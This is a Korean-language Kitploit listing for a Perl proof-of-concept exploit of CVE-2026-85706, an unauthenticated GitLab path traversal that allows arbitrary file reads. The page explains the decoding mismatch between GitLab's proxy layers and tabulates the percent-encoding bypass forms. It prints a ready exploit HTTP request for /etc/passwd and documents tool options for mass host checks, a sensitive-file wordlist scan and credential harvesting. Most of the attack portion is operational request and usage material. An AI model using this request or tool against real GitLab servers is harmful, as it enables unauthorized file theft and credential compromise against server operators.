Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-85706 — CVE-2026-85706을 익스플로잇하는 Perl PoC로, 인증 없이 GitLab 경로 순회를 통해 임의 파일 읽기를 가능하게 하며, 대량 스캔과 자격 증명 수집 기능을 제공합니다. | Kitploit
도구/GitHubGitHub/gabrielunknown/cve-2026-85706
Vulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationInformation GatheringWeb SecurityPenetration TestingRed Teaming
GitHubgabrielunknown/cve-2026-85706

CVE-2026-85706

CVE-2026-85706을 익스플로잇하는 Perl PoC로, 인증 없이 GitLab 경로 순회를 통해 임의 파일 읽기를 가능하게 하며, 대량 스캔과 자격 증명 수집 기능을 제공합니다.

481개월 전아직 검토되지 않음
저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-85706 — GitLab 비인증 임의 파일 읽기

CVSS GitLab License MITRE

승인된 침투 테스트 및 Red Team 작전 전용입니다.
무단 사용은 형사 범죄에 해당합니다. 법적 고지를 참조하십시오.


개요

CVE-2026-85706은 GitLab Community 및 Enterprise Edition의 CVSS 10.0 경로 순회(path traversal) 취약점으로, 완전히 인증되지 않은 공격자가 단일 HTTP 요청으로 서버 파일시스템에서 임의 파일을 읽을 수 있게 합니다. 자격 증명도, 토큰도, 사용자 상호작용도 필요하지 않습니다.

  • 공개일: 2026년 9월 10일
  • 최초 악용 관측: 2026년 9월 11일 (공개 후 6시간 이내)
  • CISA KEV 등재: 2026년 9월 11일
  • 수정 버전: GitLab 19.1.8 / 19.2.6 / 19.3.2

영향받는 버전

브랜치취약 범위수정 버전
18.x18.7 → 19.1.719.1.8
19.219.2.0 → 19.2.519.2.6
19.319.3.0 → 19.3.119.3.2

기술 분석

아키텍처 배경

GitLab의 HTTP 스택은 세 개의 계층으로 구성됩니다:

Internet → [Nginx] → [Workhorse (Go)] → [Puma (Ruby/Rack)] → [Rails/Grape API]

Workhorse는 스마트 리버스 프록시 역할을 합니다. 특정 "업로드" 엔드포인트(저장소 커밋, 파일 작업)의 경우, 멀티파트 요청 본문을 읽고 파일 데이터를 디스크에 저장한 뒤, 요청을 Puma로 전달하기 전에 재작성합니다. 결정적으로, 프록시하는 모든 요청에 JWT 헤더(Gitlab-Workhorse-Api-Request)를 첨부합니다. 그런 다음 Rails는 핸들러 로직을 실행하기 전에 이 JWT를 검증합니다(require_gitlab_workhorse!를 통해).

근본 원인 — 3계층 경로 디코딩 불일치

계층 1 — Workhorse 라우트 매칭:
Workhorse는 원시 퍼센트 인코딩된 바이트 문자열에 대해 동작하는 컴파일된 정규식을 사용하여 요청 경로를 매칭합니다. 매칭 전에 %XX 시퀀스를 디코딩하지 않습니다.

계층 2 — Puma/Rack 라우팅:
Puma는 Grape가 요청을 라우팅하기 전에 %XX 시퀀스를 디코딩합니다. 따라서 /repository/%63ommits에 대한 요청은 /repository/commits로 디코딩되어 CommitsController로 라우팅됩니다.

계층 3 — 인증 전 파일 읽기:
Rails 핸들러에 도달하면(Workhorse가 요청을 매칭하지 못했기 때문에 Workhorse의 JWT 없이 도달함), 핸들러는 쿼리 문자열에서 params[:file][:path]를 읽고 다음을 호출합니다:

File.open(params[:file][:path])   # ← happens BEFORE authentication

우회 기법

정적 경로 세그먼트의 한 문자를 퍼센트 인코딩함으로써, 공격자의 요청은 Workhorse의 탐지를 회피합니다:

세그먼트원본우회 형식인코딩된 문자
commitscommits%63ommitsc → %63
commitscommits%43ommitsC → %43
repositoryrepository%72epositoryr → %72
filesfiles%66ilesf → %66
(모두)commitscommits/후행 슬래시
(모두)commitscommits.jsonGrape 접미사

콘텐츠 유출 메커니즘

파일이 열린 후, 콘텐츠는 Rack의 쿼리 문자열 파서를 통해 유출됩니다:

Rack::Utils.parse_nested_query(File.read(path))

파일에 %가 두 개의 유효한 16진수 숫자가 뒤따르지 않는 경우(Ruby 설정 파일, CI YAML, 로그 등에서 흔히 발생), Rack은 다음을 발생시킵니다:

InvalidParameterError: Invalid parameter: invalid %-encoding (<FILE_BYTES>)

이 400 응답 본문에는 문제가 되는 바이트까지의 원시 파일 내용이 포함되어 있어, 인증되지 않은 호출자에게 파일 내용이 노출됩니다.

악용 가능한 % 시퀀스가 없는 파일(예: 깨끗한 /etc/passwd)은 읽기 후 401 또는 매개변수 검증 오류를 반환합니다. 이는 파일 존재 오라클로 작동합니다(읽기는 여전히 인증 전에 수행됨).

익스플로잇 요청 구조

POST /api/v4/projects/1/repository/%63ommits?file=&file.path=%2Fetc%2Fpasswd&file.size=1&Content-Type=application%2Fx-www-form-urlencoded HTTP/1.1
Host: gitlab.corp.com
User-Agent: cve-2026-85706-perl-poc/1.0.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

MITRE ATT&CK 매핑

기법ID이 PoC에서의 구현
파일 및 디렉터리 탐색T1083--scan 모드는 38개의 민감한 서버 경로를 탐색합니다
파일 내 자격 증명T1552.001--harvest는 유출된 콘텐츠에서 키/토큰/비밀번호를 추출합니다

설치

요구 사항

모듈패키지역할
LWP::UserAgentlibwww-perlHTTP 클라이언트 (필수)
LWP::Protocol::httpslibwww-perlHTTPS 지원 (필수)
URI::Escapeliburi-perl쿼리 문자열 인코딩 (필수)
Term::ANSIColorlibterm-ansicolor-perl컬러 출력 (선택)
JSONlibjson-perlJSON 출력 모드 (선택)
# Debian/Ubuntu
apt install libwww-perl liburi-perl libterm-ansicolor-perl libjson-perl

# RHEL/Fedora
sudo yum install perl-libwww-perl perl-URI perl-Term-ANSIColor perl-JSON

# CPAN
cpan LWP::UserAgent LWP::Protocol::https Term::ANSIColor JSON

# Make executable
chmod +x exploit.pl

사용법

Usage: exploit.pl [OPTIONS]

Target:
  -u, --url <URL>            GitLab base URL            [default: http://localhost:8080]
  -p, --project-id <ID>      Numeric ID or namespace%2Fproject  [default: 1]
                              Commits API forms: project must be anonymously accessible
                              Files API forms:   any value works (file read precedes auth)

Exploitability check:
  -c, --check                Single-target check (quick by default — ≤9 requests)
      --full                 Upgrade to full 4-stage sweep (27+ probes, all 22 forms)
  -L, --check-host-list <FILE>  Check multiple targets (one URL/host per line)
                             Add --full for the 4-stage sweep on every host

Single-file read:
  -f, --file <PATH>          Absolute server path to read (e.g. /etc/passwd)

Scan mode (T1083 — File and Directory Discovery):
  -s, --scan                 Probe built-in sensitive-file wordlist (38 paths)
  -w, --wordlist <FILE>      Use a custom file list (one absolute path per line)
  -H, --harvest              Extract credentials from leaked content (T1552.001)

Output:
  -o, --output <FILE>        Tee all output to file
  -j, --json                 Emit results as JSON array (requires JSON.pm)
  -v, --verbose              Print full request URL before each probe
      --no-color             Disable ANSI colour output

Connection:
  -t, --timeout <N>          Per-request timeout in seconds  [default: 15]
  -d, --delay <N>            Delay between requests in seconds (float)  [default: 0]
  -r, --retries <N>          Retry count on connection error  [default: 2]
  -A, --user-agent <STR>     Override User-Agent string

빠른 검사 vs 전체 검사

빠른 검사 (기본값)전체 검사 (--full)
요청 수≤9 (사전 확인 1회 + ≤4×2)27+
조기 종료예 — 첫 번째 확인된 차이가 나오면 중단아니요 — 22개 형식을 모두 검사
버전 정보아니요예
우회 형식대표적인 Files API 4개전체 22개 (Commits + Files API)
적합한 용도빠른 정찰, 대규모 호스트 목록침투 테스트 보고서, --file/--scan 준비

빠른 검사 파이프라인:

  1. GET /api/v4/version — 도달 가능성 + GitLab 힌트
  2. 4개의 Files API 우회 형식 각각에 대해: /etc/hostname + 고유 카나리 프로브
  3. canary → 'local file not present' ∧ hostname ≠ canary → 취약함 (즉시 종료)
  4. 모든 형식을 소진했으나 차이 없음 → 취약하지 않음

전체 검사 파이프라인 (--full):

  1. GitLab 탐지 + 버전 핑거프린팅
  2. 대조 프로브 (Workhorse 기준선)
  3. 전체 22개 우회 형식 × 카나리 경로
  4. 가장 잘 확인된 형식으로 차이 확인

--project-id와 검사 모드

--project-id 플래그는 --check 및 --check-host-list를 포함한 모든 모드에서 사용할 수 있습니다. 상호작용에 대한 이해:

우회 그룹형식프로젝트 ID 의존성
Files API (%66iles, %46iles, re%70ository/files, …)14없음 — CVE 설계상 파일 읽기가 프로젝트 확인보다 먼저 수행됩니다. 어떤 ID(존재하지 않는 ID라도)든 올바른 신호를 생성합니다.
Commits API (%63ommits, %43ommits, repository/commits/, …)8필수 — 프로젝트가 존재하고 익명으로 읽을 수 있어야 합니다. 그렇지 않으면 project-gate를 반환합니다.

실용 지침:

  • --check (빠른 검사): Files API 형식만 사용 → 프로젝트 ID 무관.
  • --check --full: 전체 22개 형식을 테스트합니다. 공개 프로젝트 ID를 알고 있다면 --project-id <N>을 전달하여 Commits API 형식도 확인하세요.
  • --check-host-list: 단일 --project-id가 모든 호스트에서 공개 프로젝트에 매핑되는 경우는 드뭅니다. 생략하세요.

예시

# Quick check — ≤9 requests, binary verdict
./exploit.pl -u https://gitlab.corp.com --check

# Quick check with known public project (extends Commits API coverage in --full mode)
./exploit.pl -u https://gitlab.corp.com --check --project-id 5  # (default: --project-id 1)

# Full 4-stage check — version + all 22 bypass forms enumerated
./exploit.pl -u https://gitlab.corp.com --check --full
도구 다운로드